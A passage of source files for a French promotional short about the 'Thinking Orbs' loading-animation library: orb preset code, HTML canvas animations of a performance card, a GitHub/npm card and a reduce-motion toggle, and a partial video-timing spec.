    20: { speed: 2.75, count: 0.1125, size: 1.36 }
  },
  ribbon: {
    64: { speed: 2.34, count: 0.25, size: 0.85, extra: { spin: 0, bandMul: 3.9, wobMul: 1 } },
    32: { speed: 2.7776, count: 0.0969, size: 0.9766, extra: { spin: 0, bandMul: 4.49, wobMul: 1 } },
    20: { speed: 3.12, count: 0.051, size: 1.073, extra: { spin: 0, bandMul: 4.94, wobMul: 1 } }
  },
  ring: {
    64: { speed: 3.24, count: 0.25, size: 0.956, extra: { spin: 0, bandMul: 3.627, wobMul: 0.368 } },
    32: { speed: 3.5517, count: 0.0678, size: 1.31, extra: { spin: 0, bandMul: 3.8265, wobMul: 0.4751 } },
    20: { speed: 3.78, count: 0.028, size: 1.622, extra: { spin: 0, bandMul: 3.968, wobMul: 0.565 } }
  },
  morph: {
    64: { speed: 2.405, count: 0.702, size: 0.395, extra: { spread: 1.45 } },
    32: { speed: 2.2057, count: 0.5937, size: 0.6916, extra: { spread: 1.45 } },
    20: { speed: 2.08, count: 0.53, size: 1.011, extra: { spread: 1.45 } }
  }
};
const cache = /* @__PURE__ */ new Map();
function resolvePreset(state, size) {
  const key = `${state}-${size}`;
  const hit = cache.get(key);
  if (hit) return hit;
  const mode = STATE_TO_MODE[state];
  const preset = PRESETS[mode][size];
  let opts = { ...BASE_PROFILES[mode] };
  if (preset.count !== 1) opts = scaleCounts(opts, preset.count);
  if (preset.size !== 1) opts = scaleRadii(opts, preset.size);
  if (preset.extra) opts = { ...opts, ...preset.extra };
  const resolved = { mode, speed: preset.speed, opts };
  cache.set(key, resolved);
  return resolved;
}

window.ORBS = { BASE_PROFILES, PRESETS, MODE_FRAMES, MODE_DRAWS, STATE_TO_MODE, resolvePreset, paintFrame, paint, paintLines, scaleCounts, scaleRadii, radiusScale, finalizeFrame, makeProj };
})();

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<style>
  html, body { margin: 0; width: 1080px; height: 1920px; background: transparent; overflow: hidden; }
  * { box-sizing: border-box; }
  .card {
    position: absolute; left: 40px; top: 70px; width: 1000px; height: 590px;
    background: #fff; border-radius: 34px;
    box-shadow: 0 1px 0 rgba(255,255,255,.9) inset, 0 2px 6px rgba(17,17,17,.06), 0 22px 48px rgba(17,17,17,.11);
  }
  #orb { position: absolute; left: 44px; top: 34px; width: 330px; height: 330px; }
  .num {
    position: absolute; left: 400px; top: 64px; white-space: nowrap;
    font-family: 'Bricolage Grotesque'; font-weight: 800; font-size: 196px; line-height: 1;
    color: #111111; letter-spacing: -6px;
  }
  .num .u { color: #258EFF; letter-spacing: -4px; margin-left: 18px; }
  .ms {
    position: absolute; left: 408px; top: 284px;
    font-family: 'Bricolage Grotesque'; font-weight: 700; font-size: 40px; color: #3A3A3A;
  }
  #graph { position: absolute; left: 40px; top: 382px; width: 920px; height: 176px; }
  .rows { position: absolute; left: 40px; top: 690px; width: 1000px; }
  .row { position: absolute; left: 34px; height: 116px; display: flex; align-items: center; white-space: nowrap; }
  .ic { width: 108px; height: 108px; display: flex; align-items: center; justify-content: center; }
  .ic img { width: 108px; height: 108px; }
  .zero { font-family: 'Bricolage Grotesque'; font-weight: 800; font-size: 104px; line-height: 1; color: #258EFF; letter-spacing: -2px; }
  .lab { margin-left: 34px; position: relative; font-family: 'Bricolage Grotesque'; font-weight: 800; font-size: 88px; line-height: 1; color: #111111; letter-spacing: -2px; }
  .ul { position: absolute; left: 0; bottom: -14px; height: 12px; border-radius: 6px; background: #258EFF; width: 0; }
</style>
</head>
<body>
<div class="card" id="card">
  <canvas id="orb" width="330" height="330"></canvas>
  <div class="num" id="num"><span id="val">60</span><span class="u">fps</span></div>
  <div class="ms" id="ms">16,7 ms par frame</div>
  <canvas id="graph" width="920" height="176"></canvas>
</div>
<div class="rows">
  <div class="row" id="r0" style="top:0"><div class="ic"><img src="../assets/icons/glyph/check.png"></div><div class="lab">Canvas 2D</div></div>
  <div class="row" id="r1" style="top:122px"><div class="ic"><span class="zero">0</span></div><div class="lab">WebGL</div></div>
  <div class="row" id="r2" style="top:244px"><div class="ic"><span class="zero">0</span></div><div class="lab" id="l2">filtre<div class="ul" id="ul"></div></div></div>
</div>
<script src="orbs.js"></script>
<script>
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const $ = id => document.getElementById(id);
const orb = $('orb').getContext('2d'), g = $('graph').getContext('2d');
const MODE = ORBS.STATE_TO_MODE.composing;   // 'ribbon'
const SPEED = ORBS.resolvePreset('composing', 64).speed;
const OPTS = { ...ORBS.BASE_PROFILES[MODE] };   // full density, spin on (default 1)
const OFF = 0.9;   // orb clock offset: already busy on frame 0

function drawOrb(t) {
  orb.setTransform(1, 0, 0, 1, 0, 0); orb.clearRect(0, 0, 330, 330);
  ORBS.paintFrame(orb, ORBS.MODE_FRAMES[MODE](330, (t + OFF) * SPEED, OPTS), false);
}

function drawGraph(t) {
  const W = 920, H = 176, x0 = 0, x1 = 846, y60 = 34, y30 = 118, base = 162;
  g.setTransform(1, 0, 0, 1, 0, 0); g.clearRect(0, 0, W, H);
  // panel
  g.fillStyle = '#F4F6F9'; roundRect(g, 0, 0, W, H, 22); g.fill();
  // scrolling vertical grid (live)
  const step = 92, off = (t * 150) % step;
  g.strokeStyle = 'rgba(17,17,17,.07)'; g.lineWidth = 2;
  for (let x = x1 - off; x > 8; x -= step) { g.beginPath(); g.moveTo(x, 14); g.lineTo(x, base); g.stroke(); }
  // horizontal guides
  g.strokeStyle = 'rgba(17,17,17,.10)'; g.setLineDash([6, 8]);
  g.beginPath(); g.moveTo(16, y30); g.lineTo(x1, y30); g.stroke(); g.setLineDash([]);
  // axis labels
  g.fillStyle = '#3A3A3A'; g.font = "700 36px 'Bricolage Grotesque'"; g.textBaseline = 'middle';
  g.fillText('60', x1 + 22, y60 + 2); g.fillText('30', x1 + 22, y30 + 2);
  // area under the line
  const grd = g.createLinearGradient(0, y60, 0, base);
  grd.addColorStop(0, 'rgba(37,142,255,.20)'); grd.addColorStop(1, 'rgba(37,142,255,0)');
  g.fillStyle = grd; g.beginPath(); g.moveTo(16, y60); g.lineTo(x1, y60); g.lineTo(x1, base + 14); g.lineTo(16, base + 14); g.closePath(); g.fill();
  // the flat line at 60
  g.strokeStyle = '#258EFF'; g.lineWidth = 7; g.lineCap = 'round';
  g.beginPath(); g.moveTo(16, y60); g.lineTo(x1, y60); g.stroke();
  // sample ticks riding the line, scrolling left
  g.fillStyle = '#258EFF';
  for (let x = x1 - off; x > 20; x -= step) { g.beginPath(); g.arc(x, y60, 6, 0, Math.PI * 2); g.fill(); }
  // live head
  g.fillStyle = '#fff'; g.beginPath(); g.arc(x1, y60, 13, 0, Math.PI * 2); g.fill();
  g.fillStyle = '#258EFF'; g.beginPath(); g.arc(x1, y60, 9, 0, Math.PI * 2); g.fill();
}
function roundRect(c, x, y, w, h, r) { c.beginPath(); c.moveTo(x + r, y); c.arcTo(x + w, y, x + w, y + h, r); c.arcTo(x + w, y + h, x, y + h, r); c.arcTo(x, y + h, x, y, r); c.arcTo(x, y, x + w, y, r); c.closePath(); }

const ROWS = [['r0', .34], ['r1', .71], ['r2', .81]];
window.setT = function (t) {
  const c = S(t, 34);
  $('card').style.transform = `translateY(${(1 - c) * 16}px)`;
  drawOrb(t); drawGraph(t);
  for (const [id, at] of ROWS) {
    const e = S(t - at, 22), el = $(id);
    el.style.opacity = Math.min(1, e * 1.4).toFixed(3);
    el.style.transform = `translateX(${((1 - e) * -56).toFixed(2)}px)`;
  }
  $('ul').style.width = (S(t - 1.18, 16) * 100).toFixed(2) + '%';
};
setT(0);
</script>
</body>
</html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Short 3.32-4.99 s: "Ça s'appelle Thinking Orbs, et c'est toute une..."
     A GitHub repo card (Jakubantalik / thinking-orbs, live real orb as social preview, stars counting to 3,651),
     then the npm strip (npm install thinking-orbs typed, MIT + v0.3.2 badges).
     Split layout: draws only in x 60-1020, y 80-1040. Every state is a pure function of t in window.setT(t). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased; }
  #stage { position: absolute; left: 0; top: 0; width: 1080px; height: 1080px; overflow: hidden; }
  .gh { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif; color: #1F2328; }
  .card { position: absolute; left: 60px; width: 960px; background: #FFFFFF; border-radius: 32px; overflow: hidden;
    box-shadow: 0 30px 70px -22px rgba(40,28,10,.30), 0 10px 22px -8px rgba(40,28,10,.16), 0 1.5px 3px rgba(40,28,10,.12), 0 0 0 1.5px rgba(31,35,40,.06); }
  .lit { position: absolute; inset: 0; border-radius: inherit; pointer-events: none;
    background: linear-gradient(180deg, rgba(255,255,255,0) 75%, rgba(60,44,20,.018) 100%); box-shadow: inset 0 2.5px 0 rgba(255,255,255,.6); }
  #A { top: 78px; height: 490px; }
  #B { top: 608px; height: 430px; }
  .abs { position: absolute; }
  .row { position: absolute; display: flex; align-items: center; white-space: nowrap; }
  .ico { display: block; flex: none; }
  /* GitHub header */
  #hdr { position: absolute; left: 0; top: 0; right: 0; height: 120px; border-bottom: 2px solid #D1D9E0; background: #F6F8FA; }
  #octo { position: absolute; left: 36px; top: 28px; width: 64px; height: 64px; }
  #path { left: 122px; top: 60px; transform: translateY(-50%); font-size: 42px; gap: 0; }
  #path .sl { color: #59636E; margin: 0 14px; }
  #repo { position: relative; font-weight: 600; }
  #repoHl { position: absolute; left: -10px; top: -4px; bottom: -4px; border-radius: 10px; background: rgba(37,142,255,.14); box-shadow: inset 0 0 0 2.5px rgba(37,142,255,.7); }
  #repoT { position: relative; }
  #pub { margin-left: 22px; font-size: 34px; font-weight: 500; color: #59636E; border: 2px solid #D1D9E0; border-radius: 999px; padding: 2px 20px; line-height: 42px; background: #FFFFFF; }
  /* body */
  #tile { position: absolute; left: 36px; top: 152px; width: 302px; height: 302px; box-sizing: border-box; border: 2px solid #D1D9E0; border-radius: 26px; background: #FFFFFF; overflow: hidden; }
  #orb { position: absolute; left: 9px; top: 9px; width: 280px; height: 280px; }
  #desc { position: absolute; left: 376px; top: 158px; width: 550px; font-size: 40px; line-height: 54px; color: #59636E; }
  #desc b { color: #1F2328; font-weight: 600; }
  #starRow { left: 376px; top: 382px; height: 72px; gap: 18px; }
  .btn { display: flex; align-items: center; gap: 14px; height: 72px; box-sizing: border-box; padding: 0 22px; border-radius: 14px;
    background: #F6F8FA; border: 2px solid #D1D9E0; font-size: 36px; font-weight: 600; box-shadow: 0 2px 0 rgba(31,35,40,.04); }
  #cnt { display: inline-block; min-width: 116px; text-align: center; font-variant-numeric: tabular-nums; font-size: 34px; font-weight: 600;
    padding: 0 12px; line-height: 46px; border-radius: 999px; background: rgba(129,139,152,.16); }
  /* npm */
  #npmLogo { position: absolute; left: 40px; top: 38px; width: 84px; height: 84px; border-radius: 6px; }
  #pkg { left: 150px; top: 80px; transform: translateY(-50%); gap: 20px; }
  #pkg .nm { font-size: 48px; font-weight: 700; letter-spacing: -.3px; }
  #pkg .pb { font-size: 34px; color: #59636E; }
  #term { position: absolute; left: 40px; top: 156px; width: 880px; height: 120px; border-radius: 24px; background: #16181D;
    box-shadow: inset 0 0 0 2px rgba(255,255,255,.06); }
  #cmd { position: absolute; left: 38px; top: 60px; transform: translateY(-50%); font-family: "JetBrains Mono"; font-size: 40px; font-weight: 500; color: #F5F6F8; white-space: pre; display: flex; align-items: center; }
  #cmd .pr { color: #7D8590; }
  #caret { display: inline-block; width: 22px; height: 46px; margin-left: 3px; background: #258EFF; border-radius: 3px; }
  #badges { left: 40px; top: 350px; transform: translateY(-50%); gap: 20px; }
  .bdg { display: flex; align-items: center; gap: 12px; height: 70px; box-sizing: border-box; padding: 0 24px; border-radius: 999px; font-size: 36px; font-weight: 600; }
  #mit { color: #258EFF; background: rgba(37,142,255,.10); box-shadow: inset 0 0 0 2.5px #258EFF; }
  #ver { color: #1F2328; background: #F6F8FA; box-shadow: inset 0 0 0 2px #D1D9E0; }
</style></head>
<body><div id="stage">
  <div class="card gh" id="A">
    <div id="hdr"></div>
    <img id="octo" src="../assets/logos/github.png">
    <div class="row" id="path"><span>Jakubantalik</span><span class="sl">/</span><span id="repo"><i id="repoHl"></i><span id="repoT">thinking-orbs</span></span><span id="pub">Public</span></div>
    <div id="tile"><canvas id="orb" width="280" height="280"></canvas></div>
    <div id="desc">Animated dotted <b>orbs</b> that replace your loading spinners.</div>
    <div class="row" id="starRow">
      <div class="btn" id="star"><svg class="ico" id="starIco" width="36" height="36" viewBox="0 0 16 16"><path id="starO" fill="#59636E" d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"/><path id="starF" fill="#E3B341" d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Z"/></svg><span id="starT">Star</span><span id="cnt">0</span></div>
    </div>
    <div class="lit"></div>
  </div>
  <div class="card gh" id="B">
    <img id="npmLogo" src="../assets/logos/npm.svg">
    <div class="row" id="pkg"><span class="nm">thinking-orbs</span><span class="pb">Public</span></div>
    <div id="term"><div id="cmd"><span class="pr">$ </span><span id="typed"></span><i id="caret"></i></div></div>
    <div class="row" id="badges">
      <div class="bdg" id="mit"><svg class="ico" width="36" height="36" viewBox="0 0 16 16" fill="#258EFF"><path d="M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.780 13.880 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z"/></svg>MIT license</div>
      <div class="bdg" id="ver"><svg class="ico" width="34" height="34" viewBox="0 0 16 16" fill="#59636E"><path d="M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z"/></svg>v0.3.2</div>
    </div>
    <div class="lit"></div>
  </div>
</div>
<script src="orbs.js"></script>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const L = (a, b, k) => a + (b - a) * k;
const mix = (a, b, k) => `rgb(${a.map((c, i) => Math.round(L(c, b[i], k)))})`;

// real orb: "searching" (globe) drawn at its logical size (base profile), dense like the demo site
const octx = $('orb').getContext('2d');
const SEARCH = ORBS.resolvePreset('searching', 64);
function orb(t) {
  octx.setTransform(1.4, 0, 0, 1.4, 0, 0); octx.clearRect(0, 0, 200, 200);   // logical 200, drawn 280 px
  ORBS.paintFrame(octx, ORBS.MODE_FRAMES[SEARCH.mode](200, (t + 0.6) * SEARCH.speed, { ...ORBS.BASE_PROFILES[SEARCH.mode] }), false);
}
const CMD = 'npm install thinking-orbs';
const enter = (el, k, dy) => { el.style.opacity = Math.min(1, k * 1.4); el.style.transform = (el.dataset.base || '') + ` translateY(${(1 - k) * dy}px)`; };
['badges'].forEach(id => $(id).dataset.base = 'translateY(-50%)');

window.setT = function (t) {
  // card A is there at frame 0, a .15 s settle
  const a = S(t + 0.05, 34);
  $('A').style.transform = `translateY(${(1 - a) * 16}px)`;
  orb(t);

  // "Thinking" .42: the repo name lights up blue, a highlight sweeps left to right behind it
  const h = S(t - 0.42, 20), rt = $('repoT');
  $('repoHl').style.width = (rt.offsetWidth + 20) * h + 'px'; $('repoHl').style.opacity = Math.min(1, h * 2);
  rt.style.color = mix([31, 35, 40], [37, 142, 255], h);

  // stars .50 -> 1.00: the counter rolls up to 3,651, then the star fills gold
  const p = cl((t - 0.5) / 0.5), e = 1 - Math.pow(1 - p, 3);
  $('cnt').textContent = Math.round(3651 * e).toLocaleString('en-US');
  const f = S(t - 1.0, 22);
  $('starF').style.opacity = f; $('starO').style.opacity = 1 - f;
  $('starT').textContent = t >= 1.0 ? 'Starred' : 'Star';

  // npm card slides up at .62, the command types .85 -> 1.30
  enter($('B'), S(t - 0.62, 18), 46);
  const n = Math.round(CMD.length * cl((t - 0.85) / 0.45));
  $('typed').textContent = CMD.slice(0, n);
  const typing = t > 0.8 && t < 1.32;
  $('caret').style.opacity = t < 0.62 ? 0 : (typing ? 1 : (Math.floor(t * 2.5) % 2 ? 0.25 : 1));

  // badges: MIT 1.38 ("toute"), version 1.52 ("une")
  enter($('mit'), S(t - 1.38, 22), 22);
  enter($('ver'), S(t - 1.52, 22), 22);
};
window.setT(0);
</script>
</body></html>

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<style>
  html, body { margin: 0; width: 1080px; height: 1920px; background: transparent; overflow: hidden; }
  * { box-sizing: border-box; }
  #orb { position: absolute; left: 265px; top: 120px; width: 550px; height: 550px; }
  #ring { position: absolute; left: 240px; top: 95px; width: 600px; height: 600px; }
  .win {
    position: absolute; left: 60px; top: 722px; width: 960px; height: 530px;
    background: #FFFFFF; border-radius: 32px; overflow: hidden;
    box-shadow: 0 0 0 1px rgba(17,17,17,.06), 0 2px 6px rgba(17,17,17,.06), 0 24px 52px rgba(17,17,17,.13);
    font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Text', 'Helvetica Neue', sans-serif;
    color: #111111;
  }
  .bar { position: absolute; left: 0; top: 0; width: 100%; height: 116px; display: flex; align-items: center; border-bottom: 2px solid rgba(17,17,17,.07); background: #FBFBFB; }
  .tl { width: 26px; height: 26px; border-radius: 50%; margin-left: 16px; box-shadow: inset 0 0 0 1px rgba(0,0,0,.12); }
  .tl:first-child { margin-left: 38px; }
  .chev { margin-left: 46px; width: 104px; display: flex; justify-content: space-between; }
  .chev svg { width: 34px; height: 40px; }
  .title { margin-left: 26px; font-size: 40px; font-weight: 700; letter-spacing: -.3px; }
  .group { position: absolute; left: 40px; top: 152px; width: 880px; background: #F5F5F7; border-radius: 22px; box-shadow: inset 0 0 0 2px rgba(17,17,17,.05); }
  .row { position: relative; height: 112px; display: flex; align-items: center; padding: 0 30px 0 36px; font-size: 38px; font-weight: 500; letter-spacing: -.2px; }
  .row + .row::before { content: ''; position: absolute; left: 36px; right: 30px; top: 0; height: 2px; background: rgba(17,17,17,.08); }
  .sw { position: absolute; right: 30px; top: 28px; width: 96px; height: 56px; border-radius: 28px; }
  .knob { position: absolute; top: 3px; left: 3px; width: 50px; height: 50px; border-radius: 50%; background: #fff; box-shadow: 0 1px 1px rgba(0,0,0,.10), 0 3px 8px rgba(0,0,0,.20); }
  #cur { position: absolute; left: 0; top: 0; width: 70px; height: 108px; transform-origin: 6px 6px; }
</style>
</head>
<body>
<canvas id="orb" width="550" height="550"></canvas>
<canvas id="ring" width="600" height="600"></canvas>
<div class="win" id="win">
  <div class="bar">
    <div class="tl" style="background:#FF5F57"></div><div class="tl" style="background:#FEBC2E"></div><div class="tl" style="background:#28C840"></div>
    <div class="chev">
      <svg viewBox="0 0 34 40"><path d="M22 6 L9 20 L22 34" fill="none" stroke="#3A3A3A" stroke-width="4.5" stroke-linecap="round" stroke-linejoin="round"/></svg>
      <svg viewBox="0 0 34 40"><path d="M12 6 L25 20 L12 34" fill="none" stroke="#B5B5B8" stroke-width="4.5" stroke-linecap="round" stroke-linejoin="round"/></svg>
    </div>
    <div class="title">Affichage</div>
  </div>
  <div class="group">
    <div class="row">Augmenter le contraste<div class="sw" style="background:#E2E2E5"><div class="knob"></div></div></div>
    <div class="row">Réduire la transparence<div class="sw" style="background:#E2E2E5"><div class="knob"></div></div></div>
    <div class="row">Réduire les animations<div class="sw" id="sw"><div class="knob" id="knob"></div></div></div>
  </div>
</div>
<svg id="cur" viewBox="0 0 28 43">
  <defs><filter id="sh" x="-30%" y="-20%" width="160%" height="150%"><feDropShadow dx="0" dy="1.2" stdDeviation="1.1" flood-color="#000" flood-opacity=".35"/></filter></defs>
  <path filter="url(#sh)" d="M2 2 L2 33 L9.2 26.2 L14 37.6 L19.4 35.3 L14.7 24.2 L24.6 24.2 Z" fill="#111111" stroke="#FFFFFF" stroke-width="2.2" stroke-linejoin="round"/>
</svg>
<script src="orbs.js"></script>
<script>
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const $ = id => document.getElementById(id);
const orb = $('orb').getContext('2d'), ring = $('ring').getContext('2d');
const P = ORBS.resolvePreset('searching', 64);
const CLICK = 1.40, OFF = 0.2;   // OFF: the scan band sits centered at the freeze frame (orb clock 1.6)

function drawOrb(t) {
  const ts = Math.min(t, CLICK) + OFF;   // frozen from the click on: same frame forever
  const k = 550 / 64;
  orb.setTransform(k, 0, 0, k, 0, 0); orb.clearRect(0, 0, 64, 64);
  ORBS.paintFrame(orb, ORBS.MODE_FRAMES[P.mode](64, ts * P.speed, P.opts), false);
}
function drawRing(t) {
  ring.setTransform(1, 0, 0, 1, 0, 0); ring.clearRect(0, 0, 600, 600);
  const p = S(t - 1.81, 22);
  if (p <= 0.001) return;
  ring.strokeStyle = '#258EFF'; ring.lineWidth = 8; ring.lineCap = 'round';
  ring.beginPath(); ring.arc(300, 300, 268, -Math.PI / 2, -Math.PI / 2 + p * Math.PI * 2); ring.stroke();
}
const lerp = (a, b, f) => a + (b - a) * f;
function mix(c1, c2, f) { return `rgb(${c1.map((v, i) => Math.round(lerp(v, c2[i], f))).join(',')})`; }

// toggle center in page coords: win 60,722 + group 40,152 + row 3 (224 + 56) ; switch right edge 30 in
const TX = 60 + 40 + 880 - 30 - 48, TY = 722 + 152 + 224 + 56;
const C0 = [600, 1010], C1 = [TX - 16, TY + 4];
const ease = (a, b, t) => { const x = Math.min(1, Math.max(0, (t - a) / (b - a))); return x < .5 ? 4 * x * x * x : 1 - Math.pow(-2 * x + 2, 3) / 2; };

window.setT = function (t) {
  const w = S(t, 34);
  $('win').style.transform = `translateY(${((1 - w) * 16).toFixed(2)}px)`;
  drawOrb(t); drawRing(t);
  // cursor: glides from the window center to the toggle (eased, no overshoot), presses on "réduit"
  const m = ease(0.5, 1.3, t);
  const x = lerp(C0[0], C1[0], m), y = lerp(C0[1], C1[1], m) - Math.sin(m * Math.PI) * 40;
  const press = Math.max(0, 1 - Math.abs(t - CLICK - 0.02) / 0.07);
  const sc = 1 - 0.12 * Math.min(1, press);
  const cin = S(t - 0.3, 18);
  $('cur').style.opacity = cin.toFixed(3);
  $('cur').style.transform = `translate(${(x - 6).toFixed(2)}px, ${(y - 6).toFixed(2)}px) scale(${sc.toFixed(3)})`;
  // toggle
  const k = S(t - CLICK, 24);
  $('knob').style.transform = `translateX(${(k * 40).toFixed(2)}px)`;
  $('sw').style.background = mix([226, 226, 229], [37, 142, 255], k);
};
setT(0);
</script>
</body>
</html>

// Thinking Orbs (style hard-cuts): hard cuts between full camera (0), split (1160) and paper alone (1920).
// Every time is SOURCE seconds (files/words.md maps them to the short). Components: source/<name>.html -> assets/<name>.mov.
window.SPEC = {
  title: 'Thinking Orbs',
  media: {
    hookOrb: { src: 'assets/hook-orb.mov', width: 1080, alpha: true },
    repoCard: { src: 'assets/repo-card.mov', width: 1080, alpha: true },
    orbGrid: { src: 'assets/orb-grid.mov', width: 1080, alpha: true },
    orbChips: { src: 'assets/orb-chips.mov', width: 1080, alpha: true },
    claudeRows: { src: 'assets/claude-rows.mov', width: 1080, alpha: true },
    summaryPill: { src: 'assets/summary-pill.mov', width: 1080, alpha: true },
    perf: { src: 'assets/perf-60fps.mov', width: 1080, alpha: true },
    reduceMotion: { src: 'assets/reduce-motion.mov', width: 1080, alpha: true },
    mit: { src: 'assets/mit-license.mov', width: 1080, alpha: true },
    proCard: { src: 'assets/pro-card.mov', width: 1080, alpha: true },
    igCta: { src: 'assets/ig-cta.mov', width: 1080, alpha: true },
  },
  cam: { crop: [322, 0, 1200, 1080], eyes: [601, 443] },
  cut: [[0, 3.40], [24.0, 26.85], [35.78, 36.38], [42.95, 99]],

  layout: { keys: [
    [0, 1160],        // A hook: the big orb, "Ton spinner est mort"
    [5.88, 0],        // B "vient de les passer en open source"
    [7.68, 1160],     // C repo card + npm
    [9.94, 1920],     // D grid of the 9 orbs
    [12.46, 1160],    // E ton app / ton site / ton produit
    [15.20, 0],       // F "Dès que ton interface fait attendre"
    [17.74, 1160],    // G Claude rows, spinners -> orbs
    [21.48, 1920],    // H Generating summary, light then dark
    [26.90, 1160],    // I 60 fps
    [28.98, 1920],    // J reduced motion freezes the orb
    [32.36, 1160],    // K MIT, sell copies
    [34.88, 0],       // L "Donc tu peux les mettre dans un produit"
    [37.04, 1160],    // M Pro 29 €/mois, En prod
    [39.86, 0],       // N CTA: face + Instagram
  ] },
  zoom: { keys: [[0, 1],
    [5.88, 1.08, 400], [6.76, 1.13, 400], [7.68, 1, 400],      // "open"
    [15.20, 1.08, 400], [16.30, 1.13, 400], [17.74, 1, 400],   // "attendre"
    [34.88, 1.08, 400], [36.70, 1.13, 400], [37.04, 1, 400],   // "produit"
    [39.86, 1, 400],
  ] },

  actors: [],
  scenes: [
    { type: 'overlay', media: 'hookOrb', from: 0, to: 5.88 },
    { type: 'overlay', media: 'repoCard', from: 7.68, to: 9.94 },
    { type: 'overlay', media: 'orbGrid', from: 9.94, to: 12.46 },
    { type: 'overlay', media: 'orbChips', from: 12.46, to: 15.20 },
    { type: 'overlay', media: 'claudeRows', from: 17.74, to: 21.48 },
    { type: 'overlay', media: 'summaryPill', from: 21.48, to: 26.90 },
    { type: 'overlay', media: 'perf', from: 26.90, to: 28.98 },
    { type: 'overlay', media: 'reduceMotion', from: 28.98, to: 32.36 },
    { type: 'overlay', media: 'mit', from: 32.36, to: 34.88 },
    { type: 'overlay', media: 'proCard', from: 37.04, to: 39.86 },
    { type: 'overlay', media: 'igCta', from: 39.86, to: 42.95, layer: 'over' },
  ],

  // Arpège sombre: default bed for AI tool demos (previous short used code-noir)
  music: { bed: 'arpege', offset: 10.0, breaks: [] },
  mix: { music: -25.5, sfx: -25, duck: .5 },

  sfx: {
    // quiet cues on what each component does (no slide, no whoosh: no movement noise)
    extra: [
      // A hook-orb: 4 state chips
      [3.73, 'pop', .08], [4.13, 'pop', .08], [4.51, 'pop', .08], [4.86, 'pop', .08],
      // C repo-card: name, star, npm keys, MIT badge
      [8.30, 'tap', .04], [8.95, 'tap', .03], [9.06, 'pop', .10], [9.22, 'tap', .03], [9.39, 'tap', .03], [9.60, 'pop', .08],
      // D orb-grid: ring on Searching, Thinking, Listening
      [11.72, 'tap', .05], [11.96, 'tap', .05], [12.26, 'tap', .05],
      // E orb-chips: orb drops in the site, then the product
      [13.94, 'pop', .10], [14.45, 'pop', .10],
      // G claude-rows: 3 cursor clicks, halos
      [18.57, 'tap', .06], [19.32, 'tap', .06], [20.11, 'tap', .06], [20.52, 'pop', .06],
      // H summary-pill: dark wipe, check
      [22.43, 'tap', .04], [23.41, 'pop', .10],
      // I perf: bullets
      [27.29, 'pop', .08], [27.72, 'pop', .08], [27.83, 'pop', .05],
      // J reduce-motion: toggle, ring
      [31.16, 'tap', .07], [31.63, 'pop', .05],
      // K mit: pill
      [33.70, 'tap', .05],
      // M pro-card: Payer click, En prod
      [38.58, 'tap', .06], [38.88, 'pop', .10],
